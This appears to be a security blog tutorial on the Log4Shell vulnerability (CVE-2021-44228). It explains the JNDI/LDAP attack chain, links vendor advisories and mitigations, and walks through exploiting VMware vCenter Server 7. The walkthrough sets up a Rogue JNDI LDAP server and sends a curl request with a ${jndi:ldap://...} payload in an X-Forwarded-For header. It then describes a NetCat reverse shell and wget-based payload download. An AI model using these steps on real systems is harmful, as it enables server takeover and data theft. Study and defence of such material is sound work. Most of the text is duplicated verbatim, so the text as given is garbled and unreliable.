Log4Shell is a critical vulnerability with the highest possible CVSSv3 score of 10.0 that affects thousands of products running Apache Log4j and leaves millions of targets potentially vulnerable. CVE-2021-44228 affects log4j versions 2.0-beta9 to 2.14.1. Log4j is an incredibly popular logging library used in many different products and various Apache frameworks like Struts2, Kafka, and Druid. So far, many different commercial products have been confirmed vulnerable, including iCloud, Steam, Minecraft, AWS, VMware and many others.
The critical Log4J vulnerability was privately disclosed to the Apache Software Foundation by a security researcher who initially discovered the issue but got public when the popular video game Minecraft published an update to resolve a security issue that allowing hackers to take over the server. After further investigation by the security community, it turned out that the vulnerability resided in a common package; Log4j.
Minecraft server 18.1 uses a vulnerable version of Log4j.
The critical vulnerability resides in the JNDI lookup function of the Java log4j library, allowing an attacker to write malicious code in the form of a LDAP query to the log file. The malicious string is then interpreted as a command by the log4j library and executed. The JNDI directory service will then send the request to an attacker-controlled LDAP server. The LDAP server response can include Java classes that the target host then executes. When an attacker succeeds in injecting the LDAP query to the attacker-controlled server in the log file of a vulnerable target, this may result in remote command execution allowing the attacker to take control of the vulnerable server. Exploiting this vulnerability may also result in the exfiltration of sensitive data as this vulnerability can also be used to read server environment variables. Sensitive information that is possibly stored in environment variables, such as Git credentials or AWS keys, can result in further compromise. Any service, application or system that accepts user input logged with a vulnerable version of Log4j is susceptible to this vulnerability.
To better understand how this vulnerability is exploited, let’s have a look at the following 5 steps:
An attacker triggers the vulnerability by passing a malicious payload to an end point where it is logged by Log4J. This could be in a HTTP header on a login form, the chat of an application or any other endpoint that logs requests with user-supplied input.
The application logs the user-supplied input with Log4J.
The Log4j library executes the malicious payload and connects to a malicious LDAP server.
The malicious LDAP server responds with a remote class file that contains the malicious commands.
The application downloads and executes the remote Java class file.
Let’s elaborate this with a few examples seen in in the wild. An attacker could place a payload containing a malicious command in an HTTP header when requesting a login form running on a server running Log4j. The header contents are logged, interpreted by Log4j and the LDAP query is sent to the malicious LDAP server controlled by the attacker. The LDAP server responds with a remote Java class file that is then executed by the vulnerable server. Another good example seen in the wild is a vulnerable Minecraft server where payloads are typed in the game chat which are being logged by Log4j and eventually executed by the server. A proof-of-Concept exploit for the remote code execution vulnerability was published on December 9, 2021. Shortly thereafter, security researchers and threat intelligence specialists noted an increase in Log4J attack activity seeing more than 100 attacks a minute. However, it must be said that besides a number of confirmed attacks, a large part of these attacks come from security firms and researchers performing scans.
CVE-2021-44228: Remote Code Execution (RCE) vulnerability
NVD - CVE-2021-44228
nvd.nist.gov
CVE-2021-45046: Denial of service (DOS) vulnerability
NVD - CVE-2021-45046
nvd.nist.gov
AWS Security bulletin
Update for Apache Log4j2 Security Bulletin (CVE-2021-44228)
aws.amazon.com
The Nationaal Cyber Security Centrum from the Netherlands also maintains an overview of any related software regarding the Log4j vulnerability:
log4shell/software at main · NCSC-NL/log4shell
Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - log4shell/software at main · NCSC-NL/log4shell
github.com
VMware vCenter Log4Shell vulnerability
Among the affected products that implement Log4j is a range of VMWare products, including VMware vCenter Server. According to VMware Security Advisory VMSA-2021-0028, Exploitation attempts in the wild have been confirmed by VMware. Instances of VMware vCenter Server that are reachable from the internet should be secured immediately by installing patches when they become available, applying workarounds from VMware, or cutting them off from the internet. The current workarounds supplied by VMware add a configuration option to Log4j that sets the ‘formatMsgNoLookups’ property to true that can mitigate the issue after a restart and remove the JndiLookup class from the classpath.
-Dlog4j2.formatMsgNoLookups=true
VMware security advisory and FAQ
https://www.vmware.com/security/advisories/VMSA-2021-0028.html
VMSA-2021-0028: Questions & Answers about Log4j | VMware
VMSA-2021-0028 outlines security vulnerabilities in multiple VMware products stemming from the log4j vulnerability disclosures (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). This is a corollary to the VMSA itself with Q&A, links, and additional analysis.
core.vmware.com
https://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html
Testing and exploiting Log4Shell in VMware vCenter Server 7
In order to test whether the VMware vCenter Server in question is vulnerable we need to inject a payload where it is logged by the Log4J library. One way to do this is by adding a x-forwarded-for header with the payload to a request to the vCenter login page. With BurpSuite we can modify the request by appending the x-forwarded-for header which contains the payload as follows:
We can then see a request coming in on our NetCat listener:
Although this request is not a reverse shell or anything we can interact with, it does confirm code execution (or triggers the server to execute the LDAP query) on the remote server running a vulnerable version of Log4J. However, if we setup a local LDAP server we can use it to respond with a malicious entry containing a payload to achieve remote code execution. The following whitepaper provides an introduction into JNDI injection and code execution which is a great read:
https://www.blackhat.com/docs/us-16...ourney-From-JNDI-LDAP-Manipulation-To-RCE.pdf
With Rogue JNDI we can setup a malicious LDAP server for JNDI injection attacks. More information about Rogue JNDI is available here:
https://github.com/veracode-research/rogue-jndi Let’s set this up on our Kali Linux system with the following commands:
sudo apt-get install maven
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi
mvn package
A more detailed guide on building and installing Rogue-jndi is available here: https://www.hackingtutorials.org/general-tutorials/installing-rogue-jndi-on-kali-linux/
With the Rogue-jndi application installed we can run a local LDAP server with the following command:
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
The command option is the command that is executed when the payload is served to the vulnerable server in response to the LDAP query.
The next step is to inject the payload in the logs using the x-forwarded-for header with the following command:
curl --insecure "https://10.15.1.201/websso/SAML2/SSO/vspheredemo.local?SAMLRequest=" -H "X-Forwarded-For: \${jndi:ldap://172.16.5.2:1389/o=tomcat}"
The server responds with a HTTP Status 403 code. When using the -v option with Curl we can also verify that the payload was applied to the header in the request to the vulnerable server:
We can then see an LDAP query coming in on the Local LDAP server: requesting the payload:
Finally, we can see that the payload was executed as the test.txt file has been created on the VMware vCenter host:
Since NetCat with the -e option (program to execute after connect) is installed by default on VMware vSphere server we can simply use that to get a reverse shell:
In this demonstration we’ve used NetCat to provide us with a reverse shell from the VMware vCenter host. Of course, there are many other ways to get a shell. For example, we can also use the wget command to download files to the vulnerable server and execute them.
Mitigating CVE-2021-44228 on VMware vCenter server
It cannot be said often enough to apply the patches and workarounds as soon as possible, especially when it comes to internet-connected systems. It is not a question of if, but when vulnerable systems connected to the internet will be compromised, if they are not already.
VMware is currently busy rolling out patches for its vulnerable products. However, workarounds are already available for many products that mitigate the vulnerability. We will not provide further technical information about the workarounds because VMware constantly updates the data. Thus, the information can quickly become outdated. It is recommended to use the link below to the VMware website to consult the workarounds. The workarounds are easy to apply and include backups of modified files, so you can always go back to the old situation if something went wrong. A restart of the server is also not required, only a restart of the services running on the VMware vCenter server resulting in a short downtime for vCenter server components.
VMware security advisory and FAQ
https://www.vmware.com/security/advisories/VMSA-2021-0028.html
https://core.vmware.com/vmsa-2021-0...sa-2021-0028-log4j-what-you-need-to-know.html
Conclusion
Given the enormous magnitude of this vulnerability and the ease with which it can be exploited, we can say that the impact of this vulnerability is huge. Also, because the vulnerable applications are mainly used in enterprise environments. Since the Log4J library is used in many applications and it is not always immediately clear that this library is used for logging purposes, this vulnerability is most likely something we will see in the wild for a long time. Furthermore, it is also advisable to closely follow the news about this vulnerability and patches because there is a good chance that more and more different attack vectors will become known. Something that we also regularly see is that new vulnerabilities in patched versions come to light (think of the recent Apache HTTPD vulnerability where the patch also turned out to be vulnerable for denial-of-service attacks). This is not something you want to miss while assuming your applications are patched and secure.
It is also recommended to keep an eye on the following overview of vulnerable software and patches:
log4shell/software at main · NCSC-NL/log4shell
Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - log4shell/software at main · NCSC-NL/log4shell
github.com
The critical Log4J vulnerability was privately disclosed to the Apache Software Foundation by a security researcher who initially discovered the issue but got public when the popular video game Minecraft published an update to resolve a security issue that allowing hackers to take over the server. After further investigation by the security community, it turned out that the vulnerability resided in a common package; Log4j.
Minecraft server 18.1 uses a vulnerable version of Log4j.
The critical vulnerability resides in the JNDI lookup function of the Java log4j library, allowing an attacker to write malicious code in the form of a LDAP query to the log file. The malicious string is then interpreted as a command by the log4j library and executed. The JNDI directory service will then send the request to an attacker-controlled LDAP server. The LDAP server response can include Java classes that the target host then executes. When an attacker succeeds in injecting the LDAP query to the attacker-controlled server in the log file of a vulnerable target, this may result in remote command execution allowing the attacker to take control of the vulnerable server. Exploiting this vulnerability may also result in the exfiltration of sensitive data as this vulnerability can also be used to read server environment variables. Sensitive information that is possibly stored in environment variables, such as Git credentials or AWS keys, can result in further compromise. Any service, application or system that accepts user input logged with a vulnerable version of Log4j is susceptible to this vulnerability.
To better understand how this vulnerability is exploited, let’s have a look at the following 5 steps:
An attacker triggers the vulnerability by passing a malicious payload to an end point where it is logged by Log4J. This could be in a HTTP header on a login form, the chat of an application or any other endpoint that logs requests with user-supplied input.
The application logs the user-supplied input with Log4J.
The Log4j library executes the malicious payload and connects to a malicious LDAP server.
The malicious LDAP server responds with a remote class file that contains the malicious commands.
The application downloads and executes the remote Java class file.
Let’s elaborate this with a few examples seen in in the wild. An attacker could place a payload containing a malicious command in an HTTP header when requesting a login form running on a server running Log4j. The header contents are logged, interpreted by Log4j and the LDAP query is sent to the malicious LDAP server controlled by the attacker. The LDAP server responds with a remote Java class file that is then executed by the vulnerable server. Another good example seen in the wild is a vulnerable Minecraft server where payloads are typed in the game chat which are being logged by Log4j and eventually executed by the server. A proof-of-Concept exploit for the remote code execution vulnerability was published on December 9, 2021. Shortly thereafter, security researchers and threat intelligence specialists noted an increase in Log4J attack activity seeing more than 100 attacks a minute. However, it must be said that besides a number of confirmed attacks, a large part of these attacks come from security firms and researchers performing scans.
CVE-2021-44228: Remote Code Execution (RCE) vulnerability
NVD - CVE-2021-44228
nvd.nist.gov
CVE-2021-45046: Denial of service (DOS) vulnerability
NVD - CVE-2021-45046
nvd.nist.gov
AWS Security bulletin
Update for Apache Log4j2 Security Bulletin (CVE-2021-44228)
aws.amazon.com
The Nationaal Cyber Security Centrum from the Netherlands also maintains an overview of any related software regarding the Log4j vulnerability:
log4shell/software at main · NCSC-NL/log4shell
Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - log4shell/software at main · NCSC-NL/log4shell
github.com
VMware vCenter Log4Shell vulnerability
Among the affected products that implement Log4j is a range of VMWare products, including VMware vCenter Server. According to VMware Security Advisory VMSA-2021-0028, Exploitation attempts in the wild have been confirmed by VMware. Instances of VMware vCenter Server that are reachable from the internet should be secured immediately by installing patches when they become available, applying workarounds from VMware, or cutting them off from the internet. The current workarounds supplied by VMware add a configuration option to Log4j that sets the ‘formatMsgNoLookups’ property to true that can mitigate the issue after a restart and remove the JndiLookup class from the classpath.
-Dlog4j2.formatMsgNoLookups=true
VMware security advisory and FAQ
https://www.vmware.com/security/advisories/VMSA-2021-0028.html
VMSA-2021-0028: Questions & Answers about Log4j | VMware
VMSA-2021-0028 outlines security vulnerabilities in multiple VMware products stemming from the log4j vulnerability disclosures (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). This is a corollary to the VMSA itself with Q&A, links, and additional analysis.
core.vmware.com
https://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html
Testing and exploiting Log4Shell in VMware vCenter Server 7
In order to test whether the VMware vCenter Server in question is vulnerable we need to inject a payload where it is logged by the Log4J library. One way to do this is by adding a x-forwarded-for header with the payload to a request to the vCenter login page. With BurpSuite we can modify the request by appending the x-forwarded-for header which contains the payload as follows:
We can then see a request coming in on our NetCat listener:
Although this request is not a reverse shell or anything we can interact with, it does confirm code execution (or triggers the server to execute the LDAP query) on the remote server running a vulnerable version of Log4J. However, if we setup a local LDAP server we can use it to respond with a malicious entry containing a payload to achieve remote code execution. The following whitepaper provides an introduction into JNDI injection and code execution which is a great read:
https://www.blackhat.com/docs/us-16...ourney-From-JNDI-LDAP-Manipulation-To-RCE.pdf
With Rogue JNDI we can setup a malicious LDAP server for JNDI injection attacks. More information about Rogue JNDI is available here:
https://github.com/veracode-research/rogue-jndi Let’s set this up on our Kali Linux system with the following commands:
sudo apt-get install maven
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi
mvn package
A more detailed guide on building and installing Rogue-jndi is available here: https://www.hackingtutorials.org/general-tutorials/installing-rogue-jndi-on-kali-linux/
With the Rogue-jndi application installed we can run a local LDAP server with the following command:
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test.txt" --hostname "172.16.5.2"
The command option is the command that is executed when the payload is served to the vulnerable server in response to the LDAP query.
The next step is to inject the payload in the logs using the x-forwarded-for header with the following command:
curl --insecure "https://10.15.1.201/websso/SAML2/SSO/vspheredemo.local?SAMLRequest=" -H "X-Forwarded-For: \${jndi:ldap://172.16.5.2:1389/o=tomcat}"
The server responds with a HTTP Status 403 code. When using the -v option with Curl we can also verify that the payload was applied to the header in the request to the vulnerable server:
We can then see an LDAP query coming in on the Local LDAP server: requesting the payload:
Finally, we can see that the payload was executed as the test.txt file has been created on the VMware vCenter host:
Since NetCat with the -e option (program to execute after connect) is installed by default on VMware vSphere server we can simply use that to get a reverse shell:
In this demonstration we’ve used NetCat to provide us with a reverse shell from the VMware vCenter host. Of course, there are many other ways to get a shell. For example, we can also use the wget command to download files to the vulnerable server and execute them.
Mitigating CVE-2021-44228 on VMware vCenter server
It cannot be said often enough to apply the patches and workarounds as soon as possible, especially when it comes to internet-connected systems. It is not a question of if, but when vulnerable systems connected to the internet will be compromised, if they are not already.
VMware is currently busy rolling out patches for its vulnerable products. However, workarounds are already available for many products that mitigate the vulnerability. We will not provide further technical information about the workarounds because VMware constantly updates the data. Thus, the information can quickly become outdated. It is recommended to use the link below to the VMware website to consult the workarounds. The workarounds are easy to apply and include backups of modified files, so you can always go back to the old situation if something went wrong. A restart of the server is also not required, only a restart of the services running on the VMware vCenter server resulting in a short downtime for vCenter server components.
VMware security advisory and FAQ
https://www.vmware.com/security/advisories/VMSA-2021-0028.html
https://core.vmware.com/vmsa-2021-0...sa-2021-0028-log4j-what-you-need-to-know.html
Conclusion
Given the enormous magnitude of this vulnerability and the ease with which it can be exploited, we can say that the impact of this vulnerability is huge. Also, because the vulnerable applications are mainly used in enterprise environments. Since the Log4J library is used in many applications and it is not always immediately clear that this library is used for logging purposes, this vulnerability is most likely something we will see in the wild for a long time. Furthermore, it is also advisable to closely follow the news about this vulnerability and patches because there is a good chance that more and more different attack vectors will become known. Something that we also regularly see is that new vulnerabilities in patched versions come to light (think of the recent Apache HTTPD vulnerability where the patch also turned out to be vulnerable for denial-of-service attacks). This is not something you want to miss while assuming your applications are patched and secure.
It is also recommended to keep an eye on the following overview of vulnerable software and patches:
log4shell/software at main · NCSC-NL/log4shell
Operational information regarding the log4shell vulnerabilities in the Log4j logging library. - log4shell/software at main · NCSC-NL/log4shell
github.com
